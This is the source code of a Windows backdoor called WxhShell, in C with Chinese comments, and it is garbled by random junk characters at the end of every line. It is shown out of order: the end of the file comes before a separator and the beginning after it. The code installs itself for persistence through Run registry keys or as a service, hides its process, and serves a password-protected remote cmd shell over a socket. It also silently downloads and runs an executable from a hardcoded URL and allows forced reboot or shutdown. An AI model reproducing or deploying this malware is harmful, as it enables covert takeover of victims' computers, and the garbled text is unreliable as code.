    else { tUZfQ  
    closesocket(wsh); G9xO>Xp^Al  
    ExitThread(0); ZwY mR=  
    } yK9EHJ$  
    break; E_$nsM8?  
    } ~ArRD-_t  
  // 获取shell p ^TCr<=  
  case 's': { ^~TE$i<   
    CmdShell(wsh); ar 7.O;e  
    closesocket(wsh); _qk&W_u  
    ExitThread(0); \(=xc2  
    break; :6%ivS  
  } 9ghUiBPiL:  
  // 退出 ? p[Rv  
  case 'x': { S76MY&Vx23  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "".a(ZGg  
    CloseIt(wsh); D-t!{LA  
    break; 8 l= EL7  
    } yn@wce  
  // 离开 @`nG &U  
  case 'q': { %dr*dA'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lTN^c?  
    closesocket(wsh); 1ljcbD)T;  
    WSACleanup(); _-#o[>2[  
    exit(1); x $[_Hix  
    break; ;.xKVH/@  
        } {*g{9`   
  } {,6J*v"o  
  } P_mP ^L  
0*kS\R=P  
  // 提示信息 `'P&={p8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (nBh6u*  
} "X!1^)W -8  
  } 4bdCbI  
D%?9[Qb  
  return; <C;TGA  
} ^.g-}r8,  
~,)D n  
// shell模块句柄 qe?Ns+j<d  
int CmdShell(SOCKET sock) I`jG  
{ iqB%sIP  
STARTUPINFO si; 2!CL8hG5:  
ZeroMemory(&si,sizeof(si)); @}wa Z?'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GcA|JS=>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wL]#]DiE  
PROCESS_INFORMATION ProcessInfo; `HYj:4v'  
char cmdline[]="cmd"; 2?:OsA}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (d,O Lng  
  return 0; 8yDsl  
} So~QZ%YA  
8KkN "4'  
// 自身启动模式 (Rq6m`M2  
int StartFromService(void) |%#NA!e4wA  
{ Z 5P4 H  
typedef struct =TzJgx  
{ {(asy}a9K  
  DWORD ExitStatus; #j+cl'  
  DWORD PebBaseAddress; .!lLj1?p  
  DWORD AffinityMask; a+O?bO  
  DWORD BasePriority; 73]t5=D:  
  ULONG UniqueProcessId; o$U{.#  
  ULONG InheritedFromUniqueProcessId; qe e_wx  
}   PROCESS_BASIC_INFORMATION; cH:&S=>h  
r| \""  
PROCNTQSIP NtQueryInformationProcess; YSfJUB!I  
o@[o6.B<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #4"eQ*.*"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sd.Km a  
(~5]1S}F  
  HANDLE             hProcess; umAO&S.+M  
  PROCESS_BASIC_INFORMATION pbi; 8cMX=P  
`)KGajB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MF*4E9Ue.  
  if(NULL == hInst ) return 0; L\bc R  
(n2_HePE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3,*A VcQA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vd$>nJ"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  4m=0e  
8r@GoG>  
  if (!NtQueryInformationProcess) return 0; rFm?Bu  
c(b`eUOO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bf+~&I#E  
  if(!hProcess) return 0; 6CGk*s  
L*4= b (3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X_bB6A6  
g`.H)36  
  CloseHandle(hProcess); M%Vp_ 0  
OUO'w6m!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + !nf?5;  
if(hProcess==NULL) return 0; N:#$S$  
 rf'A+q  
HMODULE hMod; Vu4LC&q  
char procName[255]; ePaC8sd0  
unsigned long cbNeeded; `C-8zA  
i&%dwqp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZJhI|wRwD  
9PG{>W$M  
  CloseHandle(hProcess); gVJh@]8)  
"WXUz  
if(strstr(procName,"services")) return 1; // 以服务启动 3i4m!g5Z?  
>f-RzQ k  
  return 0; // 注册表启动 Ad3TD L?  
} <m{#u4FC'  
2\|sXC  
// 主模块 Q?([#  
int StartWxhshell(LPSTR lpCmdLine) KiE'O{Y  
{ /M3;~sx  
  SOCKET wsl; RX^8`}N  
BOOL val=TRUE; CO@ kLI  
  int port=0; #(a;w  
  struct sockaddr_in door; (6[/7e)  
l>BM}hS  
  if(wscfg.ws_autoins) Install(); OS>%pgv  
#hu`X6s"  
port=atoi(lpCmdLine); 83#<Yxk~  
yOXEP  
if(port<=0) port=wscfg.ws_port; V,[[# a)y  
i*&b@.7N  
  WSADATA data; g_>E5z.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jJ2{g> P0P  
{3K ]Q=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OH]45bd &7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y<N#{)Q  
  door.sin_family = AF_INET; jG}nOI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m@L>6;*  
  door.sin_port = htons(port); If'N0^'W  
Gb"kl.j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y=<zR9f`  
closesocket(wsl); #KHj.Vg  
return 1; B !rb*"[  
} VtU2&  
^AZv4H*~  
  if(listen(wsl,2) == INVALID_SOCKET) { P-yVc2YH  
closesocket(wsl); C+t|fSJ  
return 1; Z3u6m0!  
} sE{5&aCSR  
  Wxhshell(wsl); n3eWqwQ$5  
  WSACleanup(); E\9HZ;}G  
5UK}AkEe&x  
return 0; N693eN!  
J5Q.v;  
} )S#?'gt*  
UxMei  
// 以NT服务方式启动 *Csxf[O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WigTNg4  
{ q8GCO\(  
DWORD   status = 0; Gtvbm  
  DWORD   specificError = 0xfffffff;  : ?Z9  
dg+"G|nr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X%;4G^%ZI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dEX67rUj;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5dX0C  
  serviceStatus.dwWin32ExitCode     = 0; c0X1})q$  
  serviceStatus.dwServiceSpecificExitCode = 0; dV*9bDkM/  
  serviceStatus.dwCheckPoint       = 0; ]a*26AbU+  
  serviceStatus.dwWaitHint       = 0; 20Jlf?  
L$,Kdpj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ICG:4n(,  
  if (hServiceStatusHandle==0) return; W~l.feW$i  
#0^a-47PA<  
status = GetLastError(); N?A}WW#  
  if (status!=NO_ERROR) K,P`V &m?  
{ C&EA@U5X^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AnZy o a  
    serviceStatus.dwCheckPoint       = 0; `J7@G]X;2  
    serviceStatus.dwWaitHint       = 0; KO[T&#y'  
    serviceStatus.dwWin32ExitCode     = status; R.GDCGAL  
    serviceStatus.dwServiceSpecificExitCode = specificError; N];K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p"*xye x  
    return; 8`I,KkWg   
  } *W 04$N  
lm+s5}*%o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .H&XP W  
  serviceStatus.dwCheckPoint       = 0; sYk#XNH  
  serviceStatus.dwWaitHint       = 0; !9V; 8g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VPVg \K{  
} 7kMO);pO  
n%QWs 1 b  
// 处理NT服务事件,比如:启动、停止 K&-u W_0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j~9![s!  
{ V9>$M=  
switch(fdwControl) &=In  
{ ,WoV)L'?  
case SERVICE_CONTROL_STOP: "b)EH/ s  
  serviceStatus.dwWin32ExitCode = 0; 8ddBQfCY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #B_H/9f(  
  serviceStatus.dwCheckPoint   = 0; H5jk#^FD  
  serviceStatus.dwWaitHint     = 0; LW!4KA]  
  { yhnPS4DC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x69RQ+Vw  
  } &$~irI  
  return; yi-0CHo  
case SERVICE_CONTROL_PAUSE: -BwZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,~Lx7 5{  
  break; {817Svp@  
case SERVICE_CONTROL_CONTINUE: A9GSeW<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :j32 :/u  
  break; f]Rh<N$  
case SERVICE_CONTROL_INTERROGATE: >LVGNicQ  
  break; 3A! |M5  
}; LMp^]*)t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 19Mu}.+;  
} . lSoC`HE  
YYe=E,q  
// 标准应用程序主函数 -V'Y^Df  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |#(y?! A^  
{ w,<n5dMv  
7eFFKl  
// 获取操作系统版本 ^=gN >xP  
OsIsNt=GetOsVer(); _+Pz~_+kS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L/N%ft]!T  
!_iv~Q zv  
  // 从命令行安装 sWVapu p?  
  if(strpbrk(lpCmdLine,"iI")) Install(); emT/H 95|,  
)]zsAw`/  
  // 下载执行文件 M~.1:%khM  
if(wscfg.ws_downexe) { W*u$e8i7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y44[2 :m  
  WinExec(wscfg.ws_filenam,SW_HIDE); jZe/h#J)[  
} A5s;<d0  
-x!JTx[K  
if(!OsIsNt) { m`tX&K#-  
// 如果时win9x,隐藏进程并且设置为注册表启动 2=VFUR 8  
HideProc(); r\C"Fx^  
StartWxhshell(lpCmdLine); xd+aO=)Td  
} u!FF{~5cs  
else 60xL.Z   
  if(StartFromService()) !2.eJ)G  
  // 以服务方式启动 -^< t%{d  
  StartServiceCtrlDispatcher(DispatchTable); DX/oHkLD'  
else srS)"Jt  
  // 普通方式启动 zXId up@  
  StartWxhshell(lpCmdLine); wxF\enDY  
\[A JWyP  
return 0; }E&:  
} Q-yNw0V}F  
{m_y<  
jq_ i&~S  
9LSV^[QUH  
=========================================== ?*~sx=mC  
g$JlpD&  
dleCh+ny?  
T^#d\2  
R I:kp.V  
}>b@=5O  
" NE| Q0g  
}V 4u`=  
#include <stdio.h> 5>VX]nE3!  
#include <string.h> `~N jBtQ  
#include <windows.h> G#1W":|`  
#include <winsock2.h> "EZpTy}Ee  
#include <winsvc.h> BxaGBK<k  
#include <urlmon.h> @=BApuer+  
cG1iO:  
#pragma comment (lib, "Ws2_32.lib") ^W~8)Rbf  
#pragma comment (lib, "urlmon.lib") VU+=b+B~m  
w8`B}Dr23  
#define MAX_USER   100 // 最大客户端连接数 :OA;vp~$x  
#define BUF_SOCK   200 // sock buffer G(bl)p^  
#define KEY_BUFF   255 // 输入 buffer w,OPM}) il  
xZVZYvC,t  
#define REBOOT     0   // 重启 $dsLU5]1o  
#define SHUTDOWN   1   // 关机 /RWD\u<l  
4rpry@1  
#define DEF_PORT   5000 // 监听端口 Fv:x>qZr@  
~G.MaSm  
#define REG_LEN     16   // 注册表键长度 [i_evsUj?  
#define SVC_LEN     80   // NT服务名长度 v]T?xo~@'  
^E".`~R  
// 从dll定义API *Xh#W7,<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ! iK{q0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CXTt N9N9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6;(b-Dhi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #JN4K>_4  
t~":'le`zr  
// wxhshell配置信息 8= g~+<A  
struct WSCFG { p ^9o*k`u  
  int ws_port;         // 监听端口 ZWKvz3Wt  
  char ws_passstr[REG_LEN]; // 口令 (&X/n=UI  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7vc4 JO]  
  char ws_regname[REG_LEN]; // 注册表键名 uXb} o UC  
  char ws_svcname[REG_LEN]; // 服务名 xxld.j6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 % pAbkb3m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {Ywdhw JP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a;\a>N4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  6NSSuK3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .eyJ<b9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f*VXg[&\\F  
C 1)+^{7ef  
}; 2#s8Dxt  
Oc5f8uv  
// default Wxhshell configuration U U#tm  
struct WSCFG wscfg={DEF_PORT, 5tEkQ(Ei8  
    "xuhuanlingzhe", ;s8\F]K  
    1, Q`Rn,kCVy  
    "Wxhshell", C u1G8t-  
    "Wxhshell", B;2#Sa.  
            "WxhShell Service", =,X*40=  
    "Wrsky Windows CmdShell Service", MooxT7  
    "Please Input Your Password: ", D$E#:[  
  1, ";DozPU  
  "http://www.wrsky.com/wxhshell.exe", Vt:\llsin  
  "Wxhshell.exe" >;%LW} %  
    }; Y' 5X4Ks|  
ja(ZJ[<`  
// 消息定义模块 AtxC(g m 1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,bP8"|e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {XwDvLZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5Fbb5`(  
char *msg_ws_ext="\n\rExit."; tvJl&{-OX  
char *msg_ws_end="\n\rQuit."; )19#g1rn5  
char *msg_ws_boot="\n\rReboot..."; LLbI}:  
char *msg_ws_poff="\n\rShutdown..."; D}U gC\u  
char *msg_ws_down="\n\rSave to "; 1K'cT\aFm  
"~Zdv}^xS  
char *msg_ws_err="\n\rErr!"; md|I?vk  
char *msg_ws_ok="\n\rOK!"; $x#qv1  
EYi{~  
char ExeFile[MAX_PATH]; </R@)_'  
int nUser = 0; A$L:,b(  
HANDLE handles[MAX_USER]; bfkFk  
int OsIsNt; x'SIHV4M@Q  
yV31OBC:  
SERVICE_STATUS       serviceStatus; _Ih"*~ r/&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `'gcF });  
5JhpBx/>o=  
// 函数声明 '2rSX[$ tf  
int Install(void); uA cvUN-@  
int Uninstall(void); 9fO E .  
int DownloadFile(char *sURL, SOCKET wsh); wB+F/]]|N  
int Boot(int flag); 3} C-Hg+gt  
void HideProc(void); bL{D*\HF  
int GetOsVer(void); 1[- `*Ph  
int Wxhshell(SOCKET wsl); @g*[}`8]y  
void TalkWithClient(void *cs); muKu@nshL  
int CmdShell(SOCKET sock); ++ObsWZ  
int StartFromService(void); @X=sfygk  
int StartWxhshell(LPSTR lpCmdLine); R[TaP 7n  
]I]G3 e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CZ%KC$l.5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uLNOhgSUf  
+?{LLD*2e  
// 数据结构和表定义 /AY q^  
SERVICE_TABLE_ENTRY DispatchTable[] = K <WowU  
{ =l6W O*  
{wscfg.ws_svcname, NTServiceMain}, ,'sDauFn  
{NULL, NULL} 9NZq k  
}; $_e{Zv[  
]/AU_&  
// 自我安装 jR*iA3LDo  
int Install(void) }r"E\~E  
{ :`0,f?cE  
  char svExeFile[MAX_PATH]; P]L%$!g  
  HKEY key; $#wi2Ve=6b  
  strcpy(svExeFile,ExeFile); O"_QDl<ya  
gV*4{ d`  
// 如果是win9x系统,修改注册表设为自启动 -w'g0/fD  
if(!OsIsNt) { ::3[H$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4#I=n~8a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {}=5uU2Tu  
  RegCloseKey(key); }g[Hi`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <,H/7Ba  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !#E-p?O.  
  RegCloseKey(key); >xH?`I7;f  
  return 0; y5VohVa`  
    } :R3&R CTZ  
  } U@(8)[?nxn  
} F>E_d<m  
else { zB\ 8<97 C  
W>'gG}.  
// 如果是NT以上系统,安装为系统服务  }"q#"s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QX_![|=  
if (schSCManager!=0) A.YK=_J  
{ W&m3"~BJ  
  SC_HANDLE schService = CreateService kHQn' r6  
  ( WMFn#.aY5  
  schSCManager, ;#*.@Or@Ah  
  wscfg.ws_svcname, h645;sb0  
  wscfg.ws_svcdisp, L$jii  
  SERVICE_ALL_ACCESS, `];ne]xM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "g(q)u >  
  SERVICE_AUTO_START, PI8ag  
  SERVICE_ERROR_NORMAL, V=+p8nE0  
  svExeFile, TaKCN   
  NULL, b'xBPTN  
  NULL, <Zh\6*3:ab  
  NULL, LOgB_$9_3  
  NULL, UA#=K+2  
  NULL `eGp.[ffT  
  ); jASK!3pY  
  if (schService!=0) `G>|g^6%i  
  { ~u?rjkSFoh  
  CloseServiceHandle(schService); v v   
  CloseServiceHandle(schSCManager); 'OMl9}M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SO~pe$c-  
  strcat(svExeFile,wscfg.ws_svcname); =s S=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IEfm>N-]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GW]t~EL  
  RegCloseKey(key); 6S(`Bw8h  
  return 0; 5Iv"  
    } ]0{,P !  
  } =E~_F>SD  
  CloseServiceHandle(schSCManager); *6v5JH&K  
} cc"<H}g>`  
} aQso<oK  
q"-Vh,8h  
return 1; ~fO#En  
} d 5h x%M  
~{6}SXp4U  
// 自我卸载 XU}" h&>  
int Uninstall(void) T8j<\0WW  
{ V7+/|P_  
  HKEY key; ^q<EnsY  
}5X.*wz  
if(!OsIsNt) { >PGsY[N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YT@H^=  
  RegDeleteValue(key,wscfg.ws_regname); va.Ve# N  
  RegCloseKey(key); )P.,h&h/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [c99m:*+  
  RegDeleteValue(key,wscfg.ws_regname); sr:hR Q27  
  RegCloseKey(key); \ow(4O#  
  return 0; q?f-h<yRQ  
  } -BsZw. 7P  
} Mv7tK l  
}  ~"h V-3U  
else { O:dUzZR['  
7[}WvfN8#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zaE!=-U  
if (schSCManager!=0) *mN8Qd  
{ EV~?]Kt~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;uuBX0B  
  if (schService!=0) \i)@"}  
  { <(us(zbk]  
  if(DeleteService(schService)!=0) { \/r]Ra  
  CloseServiceHandle(schService); =e6!U5 f  
  CloseServiceHandle(schSCManager); A}1:fw\Fn3  
  return 0; #|Je%t}~  
  } `oE.$~'  
  CloseServiceHandle(schService); fl*49-d  
  } Ba n^wX  
  CloseServiceHandle(schSCManager); =1mIk0H`  
} 3LVL5y7|  
} &2W`dEv]?  
}BCxAwD4  
return 1; n$"B F\eM  
} !,*Uvs@b  
2}ywNVS  
// 从指定url下载文件 L_>LxF43  
int DownloadFile(char *sURL, SOCKET wsh) McvLU+  
{ iyMoLZ5  
  HRESULT hr; ;i3C  
char seps[]= "/";  1oG'm  
char *token; *(VwD)*  
char *file; V_)465g  
char myURL[MAX_PATH]; X-%91z:o58  
char myFILE[MAX_PATH]; LM".]f!,  
<|:$_&(  
strcpy(myURL,sURL); `iwGPG!  
  token=strtok(myURL,seps); 3d_g@x#9  
  while(token!=NULL) ) KYU[  
  { 6x8lnXtA  
    file=token; =&vRT;6  
  token=strtok(NULL,seps); @Lm(bW  
  } Uz7V2r%]  
#YLI"/Kn  
GetCurrentDirectory(MAX_PATH,myFILE); FFf ~Vmw  
strcat(myFILE, "\\"); d,t'e?  
strcat(myFILE, file); S,C/l1s  
  send(wsh,myFILE,strlen(myFILE),0); OEHw%  
send(wsh,"...",3,0); V}4u1oG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cHwN=mg]S  
  if(hr==S_OK) cLMFC1=b  
return 0; !(N,tZ  
else !]!9 $6n  
return 1; 4rNuAK`2  
iP?=5j=4  
} 0&2&F=fOa<  
it=ir9  
// 系统电源模块 o31pF  
int Boot(int flag) wpm $?X  
{ 4[K6ZDBU  
  HANDLE hToken; 5VlF\-  
  TOKEN_PRIVILEGES tkp; Vj_z"t7q  
T'VKZ5W  
  if(OsIsNt) { )`m/vYKWL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qTnk>g_oS&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K.6xNQl{}  
    tkp.PrivilegeCount = 1; O,7*dniH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H=_k|#/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bj\oo+L/  
if(flag==REBOOT) { IN!IjInaT@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Je~<2EsQ  
  return 0; ;<|m0>X  
} /k^O1+]H  
else { a]R1Fi0n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lQer|?#  
  return 0; ,wk %)^  
} s|C4Jy_  
  } EA!I& mBq  
  else { \H.1I=<  
if(flag==REBOOT) { c(!{_+q"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QdP)-Fx  
  return 0; ro@`S:  
} @*~cmf&FIQ  
else { `z`"0;,7S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |'12Kv]#Xa  
  return 0; </7?puVR  
} 0'^zIL#.  
} V?Ye^ -29  
K#'{Ko  
return 1; a(eUdGJ  
} hjY)W;  
 =u Ieur  
// win9x进程隐藏模块 Pb@9<NXm'  
void HideProc(void) bA3pDt).p  
{ gA:N>w&<X  
Twr<MXa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~,P."  
  if ( hKernel != NULL ) #5W-*?H  
  { n4Eqm33  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z8n]6FDiE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =Ev* Q[  
    FreeLibrary(hKernel); G+f@m,  
  } VtC1TZ3-7  
;/.XAxkFL  
return; AP_2.V=Sn  
}  k/}E(_e  
POc-`]6 <F  
// 获取操作系统版本 Q:!.YSB  
int GetOsVer(void) TZ%u;tBH:  
{ iMr/i?`i  
  OSVERSIONINFO winfo; L&SlUXyt.c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  -!z,t7!  
  GetVersionEx(&winfo); :g=z}7!s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ym "Nj  
  return 1; X'h J&-[P  
  else w>$2  
  return 0; xQ7-4 N,  
} sDvtk]4o-4  
4V0j1 k&'  
// 客户端句柄模块 HX:rVHY  
int Wxhshell(SOCKET wsl) }[*BC5{>  
{ o  w<.Dh  
  SOCKET wsh; {(!j6|jK  
  struct sockaddr_in client; F;^GhiQVS  
  DWORD myID; $^4URH  
C@L8,Kj ~.  
  while(nUser<MAX_USER) GT} =(sD L  
{ X(ZouyD<  
  int nSize=sizeof(client); OTe0[p6v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y!|* `FII  
  if(wsh==INVALID_SOCKET) return 1; @I^LmB9*  
<kr%ylhIu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L z'05j3!  
if(handles[nUser]==0) -I#1xJU  
  closesocket(wsh); Q+UqLass  
else lnoK.Vk9,  
  nUser++; Ju"*>66  
  } J_^Ml)@iy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o {bwWk7v6  
Q(Dp116  
  return 0; L0H kmaH  
} N\OeWjA F  
p%v+\T2r  
// 关闭 socket Rv T>{G~  
void CloseIt(SOCKET wsh) C!8XFf8e  
{ 5ZkMd !$y  
closesocket(wsh); LMmW3W`   
nUser--; Be(h x  
ExitThread(0); J m+;A^;  
} ;8 D31OT  
7TjK;w7xS.  
// 客户端请求句柄 7#BpGQJQ  
void TalkWithClient(void *cs) hw [G  
{ K2glkGK  
_pv<_ Sm  
  SOCKET wsh=(SOCKET)cs; R8 lBh Ls  
  char pwd[SVC_LEN]; 45;{tS.z,B  
  char cmd[KEY_BUFF]; CYZx/r<  
char chr[1]; P]4C/UDS-~  
int i,j; BtN@P23>k.  
)wROPA\uA  
  while (nUser < MAX_USER) { > ^b6\  
gUoTOA,  
if(wscfg.ws_passstr) { "3"9sIZ(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U0/X!@F-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g6kVHxh-  
  //ZeroMemory(pwd,KEY_BUFF); Nn],sEs  
      i=0; E}V8+f54S  
  while(i<SVC_LEN) { $6a55~h|(  
=sk]/64h``  
  // 设置超时 }.x&}FqXE  
  fd_set FdRead; hi I`ot  
  struct timeval TimeOut; ?-P]m&nh|  
  FD_ZERO(&FdRead); nZbfc;da  
  FD_SET(wsh,&FdRead); b[3K:ot+  
  TimeOut.tv_sec=8; :b&O{>M]Y  
  TimeOut.tv_usec=0; Ih]'OaE   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8uR4ZE*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `eat7O  
Vb`m3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a~_5N&~pi  
  pwd=chr[0]; R&BbXSIDX  
  if(chr[0]==0xd || chr[0]==0xa) { vt" 7[!O  
  pwd=0; h9,ui^#d$  
  break; {%K(O$H#  
  } {[ j+ y  
  i++; AK/_^?zAs  
    } xA-O?s"CY  
RSLMO8  
  // 如果是非法用户,关闭 socket Jp<Y2-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TixXA:Mf  
} BK>uJv-qU  
.r/6BDE"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zice0({iJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fD#VI   
piE9qXn  
while(1) { I |?zSFa  
X#$mBRK7  
  ZeroMemory(cmd,KEY_BUFF); ,nJYYM   
!biq7f%6#  
      // 自动支持客户端 telnet标准   <j93   
  j=0; uX-]z3+  
  while(j<KEY_BUFF) { U[1Ir92:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oW*e6"<R7  
  cmd[j]=chr[0]; x(nWyVB  
  if(chr[0]==0xa || chr[0]==0xd) { >W= 0N (  
  cmd[j]=0; 6e6~82t8/  
  break; <6=kwV6  
  } Z?H#=|U  
  j++; ,ufB*[~  
    } X0Q};,  
`Trpv$   
  // 下载文件 7tgn"wK  
  if(strstr(cmd,"http://")) { cNzn2-qv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R&13P&:g  
  if(DownloadFile(cmd,wsh)) Hf ]aA_:   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0C1';=^}  
  else 8}FZ1h2 4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UwuDs2 t  
  } MXWCYi  
  else { -z]v"gF?Px  
tl|Qw";I  
    switch(cmd[0]) { Tti]H9g_  
  N'nI ^=  
  // 帮助 je6H}eWTC6  
  case '?': { v Dgf}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :^+ aJ]  
